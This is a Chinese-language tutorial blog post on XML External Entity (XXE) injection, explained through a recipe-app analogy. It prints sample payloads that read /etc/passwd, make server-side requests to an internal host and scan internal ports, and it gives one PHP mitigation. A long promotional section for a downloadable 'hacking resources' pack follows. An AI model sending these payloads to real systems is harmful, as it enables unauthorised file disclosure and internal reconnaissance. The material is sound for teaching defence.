大家好,我是程序员晓晓。今天我们来聊一聊XML外部实体(XXE)注入这个话题。无论你是安全新手还是经验丰富的渗透测试工程师,理解XXE注入都是非常重要的。让我们一起深入探讨这个有趣又危险的安全漏洞吧! 免责声明:因使用本人所提供的信息而产生的任何后果或损失,由使用者自行承担,作者概不负责。如有侵权,请告知,我会立即删除并致歉。感谢您的理解与支持! XML基础知识回顾![]() 想象一下,XML就像是一本有特定格式的菜谱书。每个菜谱(XML文档)都有以下部分:
比如,一个简单的"蛋炒饭食谱"的XML可能长这样: [code]<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE recipe [ <!ELEMENT recipe (name,ingredients,steps)> <!ELEMENT name (#PCDATA)> <!ELEMENT ingredients (#PCDATA)> <!ELEMENT steps (#PCDATA)> ]> <recipe> <name>蛋炒饭</name> <ingredients>米饭、鸡蛋、葱花、油、盐</ingredients> <steps>1.打蛋 2.炒蛋 3.加米饭 4.翻炒 5.加调料</steps> </recipe> [/code]我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~ ![]() XML实体介绍XML实体就像是菜谱中的"快捷键"或"宏"。它们可以让你快速引用常用的内容,而不用每次都重复写。 想象你在写一本中华料理的菜谱书,你可能会经常用到"加入适量盐调味"这句话。你可以创建一个实体来代替这个常用短语: [code]<!ENTITY salt "加入适量盐调味"> [/code]然后在需要的地方使用 &salt; 来引用这个短语。 XML中主要有三种"快捷键":
XXE注入原理 想象你正在使用一个智能菜谱APP。这个APP允许用户上传自己的菜谱,然后会自动解析并展示。 正常情况下,用户会上传类似前面提到的蛋炒饭菜谱。但是,一个调皮的用户决定上传一个特殊的"菜谱": [code]<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE recipe [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <recipe> <name>神秘菜谱</name> <ingredients>&xxe;</ingredients> </recipe> [/code]这个"菜谱"看起来很正常,但实际上它包含了一个外部实体 &xxe;,这个实体引用了服务器上的 /etc/passwd 文件。 如果APP在解析这个XML时没有做好安全措施,它可能会真的去读取 /etc/passwd 文件的内容,并把它显示在"配料"部分!这就是XXE注入攻击的基本原理。 攻击者就像是一个顽皮的孩子,他发现了菜谱书的一个"魔法词",可以让书自动翻到其他不相关的页面。如果书的制作者不小心,可能会暴露出不应该给读者看到的信息。 XXE攻击类型常见的XXE攻击类型包括:
下面我们来看几个具体的攻击案例。 XXE攻击实例读取本地文件Payload: [code]<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> [/code]这个payload可能会读取并显示服务器上的/etc/passwd文件内容。 SSRF攻击Payload: [code]<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://internal-server/secret" >]> <foo>&xxe;</foo> [/code]这个payload可能会让服务器访问内网中的一个地址,potentially泄露敏感信息。 内网端口扫描Payload: [code]<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://192.168.1.1:80" >]> <foo>&xxe;</foo> [/code]通过修改IP和端口,攻击者可以探测内网中开放的端口。 XXE防御措施为了防御XXE攻击,可以采取以下措施:
在PHP中,可以使用以下代码禁用外部实体: [code]libxml_disable_entity_loader(true); [/code]总结XXE注入是一种常见且危害较大的Web安全漏洞。作为安全从业者,我们要深入理解其原理,掌握攻击和防御技巧。同时,作为开发者在日常开发中也要注意XML解析的安全性,防患于未然。 记住,安全不是一蹴而就的,需要我们不断学习和实践。希望这篇文章能帮助你更好地理解XXE注入,提高你的安全意识和技能。 网络安全学习资源分享: 给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助! 对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。 因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取 👉1.成长路线图&学习规划👈要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。 对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。 ![]() ![]() 👉2.网安入门到进阶视频教程👈很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈) 👉3.SRC&黑客文档👈大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录 SRC技术文籍: ![]() 黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈) 👉4.护网行动资料👈其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指! ![]() 👉5.黑客必读书单👈![]() 👉6.网络安全岗面试题合集👈当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。 ![]() 所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ ![]() 免责声明:本内容来源于网络,如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |